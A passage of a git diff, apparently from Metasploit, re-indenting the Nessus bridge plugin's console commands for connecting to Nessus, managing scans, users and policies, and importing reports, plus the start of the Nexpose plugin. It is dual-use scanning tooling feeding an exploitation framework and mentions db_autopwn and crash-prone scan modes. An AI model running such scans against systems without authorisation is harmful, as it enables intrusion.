tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_plugin_list", "Displays each plugin family and the number of plugins" ] + tbl << [ "nessus_plugin_family", "List plugins in a family" ] + tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] + tbl << [ "", ""] + tbl << [ "User Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_user_list", "Show Nessus Users" ] + tbl << [ "nessus_user_add", "Add a new Nessus User" ] + tbl << [ "nessus_user_del", "Delete a Nessus User" ] + tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] + tbl << [ "", ""] + tbl << [ "Policy Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_policy_list", "List all polciies" ] + tbl << [ "nessus_policy_del", "Delete a policy" ] + print_status "" + print_line tbl.to_s + print_status "" + end + + def cmd_nessus_server_feed(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_feed") + print_status(" Example:> nessus_server_feed") + print_status() + print_status("Returns information about the feed type and server version.") + return + end + + if nessus_verify_token + @feed, @version, @web_version = @n.feed + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Feed', + 'Nessus Version', + 'Nessus Web Version' + ]) + tbl << [@feed, @version, @web_version] + print_good("Nessus Status") + print_good "\n" + print_line tbl.to_s + end + end + + def nessus_verify_token + if @token.nil? or @token == '' + ncusage + return false + end + true + end + + def nessus_verify_db + + if ! (framework.db and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + true + end + + def ncusage + print_status("%redYou must do this before any other commands.%clr") + print_status("Usage: ") + print_status(" nessus_connect username:password@hostname:port <ssl ok>") + print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect username@hostname:port <ssl ok>") + print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect hostname:port <ssl ok>") + print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect") + print_status(" Example:> nessus_connect") + print_status("This only works after you have saved creds with nessus_save") + return + end + + def cmd_nessus_connect(*args) + # Check if config file exists and load it + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" + if ! args[0] + if File.exist?("#{@nessus_yaml}") + lconfig = YAML.load_file("#{@nessus_yaml}") + @user = lconfig['default']['username'] + @pass = lconfig['default']['password'] + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + nessus_login + return + else + ncusage + return + end + end + + if args[0] == "-h" + print_status("%redYou must do this before any other commands.%clr") + print_status("Usage: ") + print_status(" nessus_connect username:password@hostname:port <ssl ok>") + print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect username@hostname:port <ssl ok>") + print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect hostname:port <ssl ok>") + print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect") + print_status(" Example:> nessus_connect") + print_status("This only works after you have saved creds with nessus_save") + print_status() + print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end") + print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.") + print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.") + print_status("The \"ok\" on the end is important. It is a way of letting you") + print_status("know that nessus used a self signed cert and the risk that presents.") + return + end + + if ! @token == '' + print_error("You are already authenticated. Call nessus_logout before authing again") + return + end + + if(args.length == 0 or args[0].empty?) + ncusage + return + end + + @user = @pass = @host = @port = @sslv = nil + + case args.length + when 1,2 + if args[0].include? "@" + cred,targ = args[0].split('@', 2) + @user,@pass = cred.split(':', 2) + targ ||= '127.0.0.1:8834' + @host,@port = targ.split(':', 2) + @port ||= '8834' + @sslv = args[1] + else + @host,@port = args[0].split(':', 2) + @port ||= '8834' + @sslv = args[1] + end + + when 3,4,5 + ncusage + return + else + ncusage + return + end + + if /\/\//.match(@host) + ncusage + return + end + + if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + if ! @user + print_error("Missing Username") + ncusage + return + end + + if ! @pass + print_error("Missing Password") + ncusage + return + end + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + ncusage + return + end + nessus_login + end + + def nessus_login + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + print_status("You need to connect to a server first.") + ncusage + return + end + + @url = "https://#{@host}:#{@port}/" + print_status("Connecting to #{@url} as #{@user}") + @n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass) + @token=@n.login(@user,@pass) + if @n.logged_in + print_status("Authenticated") + else + print_error("Error connecting/logging to the server!") + return + end + end + + def cmd_nessus_report_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_list") + print_status(" Example:> nessus_report_list") + print_status() + print_status("Generates a list of all reports visable to your user.") + return + end + + if ! nessus_verify_token + return + end + + list=@n.report_list_hash + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'ID', + 'Name', + 'Status', + 'Date' + ]) + + list.each {|report| + t = Time.at(report['timestamp'].to_i) + tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ] + } + print_good("Nessus Report List") + print_good "\n" + print_line tbl.to_s + "\n" + print_status("You can:") + print_status(" Get a list of hosts from the report: nessus_report_hosts <report id>") + end + + def check_scan(*args) + + case args.length + when 1 + rid = args[0] + else + print_error("No Report ID Supplied") + return + end + + scans = @n.scan_list_hash + scans.each {|scan| + if scan['id'] == rid + return true + end + } + return false + end + + def cmd_nessus_report_get(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_get <report id>") + print_status(" Example:> nessus_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("This command pulls the provided report from the nessus server in the nessusv2 format") + print_status("and parses it the same way db_import_nessus does. After it is parsed it will be") + print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.") + print_status("Use: nessus_report_list to obtain a list of report id's") + return + end + + if ! nessus_verify_token + return + end + + if ! nessus_verify_db + return + end + + if(args.length == 0 or args[0].empty? or args[0] == "-h") + print_status("Usage: ") + print_status(" nessus_report_get <report id> ") + print_status(" use nessus_report_list to list all available reports for importing") + return + end + + rid = nil + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_get <report id> ") + print_status(" use nessus_report_list to list all available reports for importing") + return + end + + if check_scan(rid) + print_error("That scan is still running.") + return + end + content = nil + content=@n.report_file_download(rid) + if content.nil? + print_error("Failed, please reauthenticate") + return + end + print_status("importing " + rid) + framework.db.import({:data => content}) do |type,data| + case type + when :address + print_line("%bld%blu[*]%clr %bld#{data}%clr") + end + end + print_good("Done") + end + + def cmd_nessus_scan_status(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_status") + print_status(" Example:> nessus_scan_status") + print_status() + print_status("Returns a list of information about currently running scans.") + return + end + + if ! nessus_verify_token + return + end + + list=@n.scan_list_hash + if list.empty? + print_status("No Scans Running.") + print_status("You can:") + print_status(" List of completed scans: nessus_report_list") + print_status(" Create a scan: nessus_scan_new <policy id> <scan name> <target(s)>") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Scan ID', + 'Name', + 'Owner', + 'Started', + 'Status', + 'Current Hosts', + 'Total Hosts' + ]) + + list.each {|scan| + t = Time.at(scan['start'].to_i) + tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ] + } + print_good("Running Scans") + print_good "\n" + print_line tbl.to_s + print_good "\n" + print_status("You can:") + print_good(" Import Nessus report to database : nessus_report_get <reportid>") + print_good(" Pause a nessus scan : nessus_scan_pause <scanid>") + end + + def cmd_nessus_template_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_template_list") + print_status(" Example:> nessus_template_list") + print_status() + print_status("Returns a list of information about the server templates..") + return + end + + if ! nessus_verify_token + return + end + + list=@n.template_list_hash + + if list.empty? + print_status("No Templates Created.") + print_status("You can:") + print_status(" List of completed scans: nessus_report_list") + print_status(" Create a template: nessus_template_new <policy id> <scan name> <target(s)>") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Template ID', + 'Policy ID', + 'Name', + 'Owner', + 'Target' + ]) + + list.each {|template| + tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ] + } + print_good("Templates") + print_good "\n" + print_line tbl.to_s + "\n" + print_good "\n" + print_status("You can:") + print_good(" Import Nessus report to database : nessus_report_get <reportid>") + end + + def cmd_nessus_user_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_list") + print_status(" Example:> nessus_user_list") + print_status() + print_status("Returns a list of the users on the Nessus server and their access level.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_status("Your Nessus user is not an admin") + end + + list=@n.users_list + print_good("There are #{list.length} users") + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Is Admin?', + 'Last Login' + ]) + + list.each {|user| + t = Time.at(user['lastlogin'].to_i) + tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ] + } + print_good("Nessus users") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_server_status(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_status") + print_status(" Example:> nessus_server_status") + print_status() + print_status("Returns some status items for the server..") + return + end + #Auth + if ! nessus_verify_token + return + end + + #Check if we are an admin + if ! @n.is_admin + print_status("You need to be an admin for this.") + return + end + + #Versions + cmd_nessus_server_feed + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Users', + 'Policies', + 'Running Scans', + 'Reports', + 'Plugins' + ]) + #Count how many users the server has. + list=@n.users_list + users = list.length + + #Count how many policies + list=@n.policy_list_hash + policies = list.length + + #Count how many running scans + list=@n.scan_list_uids + scans = list.length + + #Count how many reports are available + list=@n.report_list_hash + reports = list.length + + #Count how many plugins + list=@n.plugins_list + total = Array.new + list.each {|plugin| + total.push(plugin['num'].to_i) + } + plugins = total.sum + tbl << [users, policies, scans, reports, plugins] + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_plugin_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_list") + print_status(" Example:> nessus_plugin_list") + print_status() + print_status("Returns a list of the plugins on the server per family.") + return + end + + if ! nessus_verify_token + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Family Name', + 'Total Plugins' + ]) + list=@n.plugins_list + total = Array.new + list.each {|plugin| + total.push(plugin['num'].to_i) + tbl << [ plugin['name'], plugin['num'] ] + } + plugins = total.sum + tbl << [ '', ''] + tbl << [ 'Total Plugins', plugins ] + print_good("Plugins By Family") + print_good "\n" + print_line tbl.to_s + print_status("List plugins for a family : nessus_plugin_family <family name>") + end + + def check_policy(*args) + + case args.length + when 1 + pid = args[0] + else + print_error("No Policy ID supplied.") + return + end + + pol = @n.policy_list_hash + pol.each {|p| + if p['id'].to_i == pid + return false + end + } + return true + end + + def cmd_nessus_scan_new(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_new <policy id> <scan name> <targets>") + print_status(" Example:> nessus_scan_new 1 \"My Scan\" 192.168.1.250") + print_status() + print_status("Creates a scan based on a policy id and targets.") + print_status("use nessus_policy_list to list all available policies") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 3 + pid = args[0].to_i + name = args[1] + tgts = args[2] + else + print_status("Usage: ") + print_status(" nessus_scan_new <policy id> <scan name> <targets>") + print_status(" use nessus_policy_list to list all available policies") + return + end + + if check_policy(pid) + print_error("That policy does not exist.") + return + end + + print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}") + + scan = @n.scan_new(pid, name, tgts) + + if scan + print_status("Scan started. uid is #{scan}") + end + end + + def cmd_nessus_scan_pause(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_pause <scan id>") + print_status(" Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Pauses a running scan") + print_status("use nessus_scan_status to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_pause <scan id>") + print_status(" use nessus_scan_status to list all available scans") + return + end + + pause = @n.scan_pause(sid) + + print_status("#{sid} has been paused") + end + + def cmd_nessus_scan_resume(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_resume <scan id>") + print_status(" Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("resumes a running scan") + print_status("use nessus_scan_status to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_resume <scan id>") + print_status(" use nessus_scan_status to list all available scans") + return + end + + resume = @n.scan_resume(sid) + + print_status("#{sid} has been resumed") + end + + def cmd_nessus_report_hosts(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_hosts <report id>") + print_status(" Example:> nessus_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the hosts associated with a scan and details about their vulnerabilities") + print_status("use nessus_report_list to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_hosts <report id>") + print_status(" use nessus_report_list to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Hostname', + 'Severity', + 'Sev 0', + 'Sev 1', + 'Sev 2', + 'Sev 3', + 'Current Progress', + 'Total Progress' + ]) + hosts=@n.report_hosts(rid) + hosts.each {|host| + tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ] + } + print_good("Report Info") + print_good "\n" + print_line tbl.to_s + print_status("You can:") + print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") + end + + def cmd_nessus_report_vulns(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_vulns <report id>") + print_status(" Example:> nessus_report_vulns f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the vulns associated with a scan and details about hosts and their vulnerabilities") + print_status("use nessus_report_list to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_vulns <report id>") + print_status(" use nessus_report_vulns to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Hostname', + 'Port', + 'Proto', + 'Sev', + 'PluginID', + 'Plugin Name' + ]) + print_status("Grabbing all vulns for report #{rid}") + hosts=@n.report_hosts(rid) + hosts.each do |host| + ports=@n.report_host_ports(rid, host['hostname']) + ports.each do |port| + details=@n.report_host_port_details(rid, host['hostname'], port['portnum'], port['protocol']) + details.each do |detail| + tbl << [host['hostname'], + port['portnum'], + port['protocol'], + detail['severity'], + detail['pluginID'], + detail['pluginName'] + ] + end + end + end + print_good("Report Info") + print_line + print_line tbl.to_s + print_status("You can:") + print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") + end + + def cmd_nessus_report_host_ports(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_host_ports <hostname> <report id>") + print_status(" Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the ports associated with a host and details about their vulnerabilities") + print_status("use nessus_report_hosts to list all available hosts for a report") + end + + if ! nessus_verify_token + return + end + + case args.length + when 2 + host = args[0] + rid = args[1] + else + print_status("Usage: ") + print_status(" nessus_report_host_ports <hostname> <report id>") + print_status(" use nessus_report_list to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Port', + 'Protocol', + 'Severity', + 'Service Name', + 'Sev 0', + 'Sev 1', + 'Sev 2', + 'Sev 3' + ]) + ports=@n.report_host_ports(rid, host) + ports.each {|port| + tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] + } + print_good("Host Info") + print_good "\n" + print_line tbl.to_s + print_status("You can:") + print_status(" Get detailed scan infromation about a specfic port: nessus_report_host_detail <hostname> <port> <protocol> <report id>") + end + + def cmd_nessus_report_host_detail(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") + print_status(" Example:> nessus_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the vulns associated with a port for a specific host") + print_status("use nessus_report_host_ports to list all available ports for a host") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 4 + host = args[0] + port = args[1] + prot = args[2] + rid = args[3] + else + print_status("Usage: ") + print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") + print_status(" use nessus_report_host_ports to list all available ports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Port', + 'Severity', + 'PluginID', + 'Plugin Name', + 'CVSS2', + 'Exploit?', + 'CVE', + 'Risk Factor', + 'CVSS Vector' + ]) + details=@n.report_host_port_details(rid, host, port, prot) + details.each {|detail| + tbl << [ + detail['port'], + detail['severity'], + detail['pluginID'], + detail['pluginName'], + detail['cvss_base_score'] || 'none', + detail['exploit_available'] || '.', + detail['cve'] || '.', + detail['risk_factor'] || '.', + detail['cvss_vector'] || '.' + ] + } + print_good("Port Info") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_scan_pause_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_pause_all") + print_status(" Example:> nessus_scan_pause_all") + print_status() + print_status("Pauses all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_pause_all + + print_status("All scans have been paused") + end + + def cmd_nessus_scan_stop(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_stop <scan id>") + print_status(" Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Stops a currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_stop <scan id>") + print_status(" use nessus_scan_status to list all available scans") + return + end + + pause = @n.scan_stop(sid) + + print_status("#{sid} has been stopped") + end + + def cmd_nessus_scan_stop_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_stop_all") + print_status(" Example:> nessus_scan_stop_all") + print_status() + print_status("stops all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_stop_all + + print_status("All scans have been stopped") + end + + def cmd_nessus_scan_resume_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_resume_all") + print_status(" Example:> nessus_scan_resume_all") + print_status() + print_status("resumes all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_resume_all + + print_status("All scans have been resumed") + end + + def cmd_nessus_user_add(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_add <username> <password>") + print_status(" Example:> nessus_user_add msf msf") + print_status() + print_status("Only adds non admin users. Must be an admin to add users.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 2 + user = args[0] + pass = args[1] + else + print_status("Usage: ") + print_status(" nessus_user_add <username> <password>") + print_status(" Only adds non admin users") + return + end + + u = @n.users_list + u.each { |stuff| + if stuff['name'] == user + print_error("That user exists") + return + end + } + add = @n.user_add(user,pass) + status = add.root.elements['status'].text if add + if status == "OK" + print_good("#{user} has been added") + else + print_error("#{user} was not added") + end + end + + def cmd_nessus_user_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_del <username>") + print_status(" Example:> nessus_user_del msf") + print_status() + print_status("Only dels non admin users. Must be an admin to del users.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + user = args[0] + else + print_status("Usage: ") + print_status(" nessus_user_del <username>") + print_status(" Only dels non admin users") + return + end + + del = @n.user_del(user) + status = del.root.elements['status'].text + if status == "OK" + print_good("#{user} has been deleted") + else + print_error("#{user} was not deleted") + end + end + + def cmd_nessus_user_passwd(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_passwd <username> <password>") + print_status(" Example:> nessus_user_passwd msf newpassword") + print_status() + print_status("Changes the password of a user. Must be an admin to change passwords.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 2 + user = args[0] + pass = args[1] + else + print_status("Usage: ") + print_status(" nessus_user_passwd <username> <password>") + print_status(" User list from nessus_user_list") + return + end + + pass = @n.user_pass(user,pass) + status = pass.root.elements['status'].text + if status == "OK" + print_good("#{user}'s password has been changed") + else + print_error("#{user}'s password has not been changed") + end + end + + def cmd_nessus_admin(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_admin") + print_status(" Example:> nessus_admin") + print_status() + print_status("Checks to see if the current user is an admin") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + else + print_good("Your Nessus user is an admin") + end + end + + def cmd_nessus_plugin_family(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_family <plugin family name>") + print_status(" Example:> nessus_plugin_family \"Windows : Microsoft Bulletins\" ") + print_status() + print_status("Returns a list of all plugins in that family.") + print_status("use nessus_plugin_list to list all plugins") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + fam = args[0] + else + print_status("Usage: ") + print_status(" nessus_plugin_family <plugin family name>") + print_status(" list all plugins from a Family from nessus_plugin_list") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin ID', + 'Plugin Name', + 'Plugin File Name' + ]) + + family = @n.plugin_family(fam) + + family.each {|plugin| + tbl << [ plugin['id'], plugin['name'], plugin['filename'] ] + } + print_good("#{fam} Info") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_policy_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_policy_list") + print_status(" Example:> nessus_policy_list") + print_status() + print_status("Lists all policies on the server") + return + end + + if ! nessus_verify_token + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'ID', + 'Name', + 'Comments' + ]) + list=@n.policy_list_hash + list.each {|policy| + tbl << [ policy['id'], policy['name'], policy['comments'] ] + } + print_good("Nessus Policy List") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_policy_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_policy_del <policy ID>") + print_status(" Example:> nessus_policy_del 1") + print_status() + print_status("Must be an admin to del policies.") + print_status("use nessus_policy_list to list all policies") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + pid = args[0] + else + print_status("Usage: ") + print_status(" nessus_policy_del <policy ID>") + print_status(" nessus_policy_list to find the id.") + return + end + + + del = @n.policy_del(pid) + status = del.root.elements['status'].text + if status == "OK" + print_good("Policy number #{pid} has been deleted") + else + print_error("Policy number #{pid} was not deleted") + end + + end + + def cmd_nessus_plugin_details(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_details <plugin file name>") + print_status(" Example:> nessus_plugin_details ping_host.nasl ") + print_status() + print_status("Returns details on a particular plugin.") + print_status("use nessus_plugin_list to list all plugins") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + pname = args[0] + else + print_status("Usage: ") + print_status(" nessus_policy_del <plugin file name>") + print_status(" nessus_plugin_list and then nessus_plugin_family to find the plugin file name.") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + '', + '' + ]) + + entry = @n.plugin_detail(pname) + print_good("Plugin Details for #{entry['name']}") + tbl << [ "Plugin ID", entry['id'] ] + tbl << [ "Plugin Family", entry['family'] ] + tbl << [ "CVSS Base Score", entry['cvss_base_score'] ] + tbl << [ "CVSS Vector", entry['cvss_vector'] ] + tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ] + tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ] + tbl << [ "Risk Factor", entry['risk_factor'] ] + tbl << [ "Exploit Available", entry['exploit_available'] ] + tbl << [ "Exploitability Ease", entry['exploit_ease'] ] + tbl << [ "Synopsis", entry['synopsis'] ] + tbl << [ "Description", entry['description'] ] + tbl << [ "Solution", entry['solution'] ] + tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ] + tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ] + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_report_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_del <reportname>") + print_status(" Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Must be an admin to del reports.") + print_status("use nessus_report_list to list all reports") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_del <report ID>") + print_status(" nessus_report_list to find the id.") + return + end + + + del = @n.report_del(rid) + status = del.root.elements['status'].text + if status == "OK" + print_good("Report #{rid} has been deleted") + else + print_error("Report #{rid} was not deleted") + end + end + + def cmd_nessus_server_prefs(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_prefs") + print_status(" Example:> nessus_server_prefs") + print_status() + print_status("Returns a long list of server prefs.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Value' + ]) + prefs = @n.server_prefs + prefs.each {|pref| + tbl << [ pref['name'], pref['value'] ] + } + print_good("Nessus Server Pref List") + print_good "\n" + print_line tbl.to_s + "\n" + + end + + def cmd_nessus_plugin_prefs(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_prefs") + print_status(" Example:> nessus_plugin_prefs") + print_status() + print_status("Returns a long list of plugin prefs.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Value', + 'Type' + ]) + prefs = @n.plugin_prefs + prefs.each {|pref| + tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ] + } + print_good("Nessus Plugins Pref List") + print_good "\n" + print_line tbl.to_s + end + end + + def initialize(framework, opts) + super + + add_console_dispatcher(ConsoleCommandDispatcher) + @nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf + @xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits. + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds + print_status("Nessus Bridge for Metasploit #{@nbver}") + print_good("Type %bldnessus_help%clr for a command listing") + #nessus_index + end + + def cleanup + remove_console_dispatcher('Nessus') + end + + def name + "nessus" + end + + def desc + "Nessus Bridge for Metasploit #{@nbver}" + end + protected + end end diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index e2a42b238c..56b0bd1830 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -10,661 +10,661 @@ require 'rapid7/nexpose' module Msf - Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds + Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds class Plugin::Nexpose < Msf::Plugin - class NexposeCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Nexpose" - end - - def commands - { - 'nexpose_connect' => "Connect to a running Nexpose instance ( user:pass@host[:port] )", - 'nexpose_save' => "Save credentials to a Nexpose instance", - 'nexpose_activity' => "Display any active scan jobs on the Nexpose instance", - - 'nexpose_scan' => "Launch a Nexpose scan against a specific IP range and import the results", - 'nexpose_discover' => "Launch a scan but only perform host and minimal service discovery", - 'nexpose_exhaustive' => "Launch a scan covering all TCP ports and all authorized safe checks", - 'nexpose_dos' => "Launch a scan that includes checks that can crash services and devices (caution)", - - 'nexpose_disconnect' => "Disconnect from an 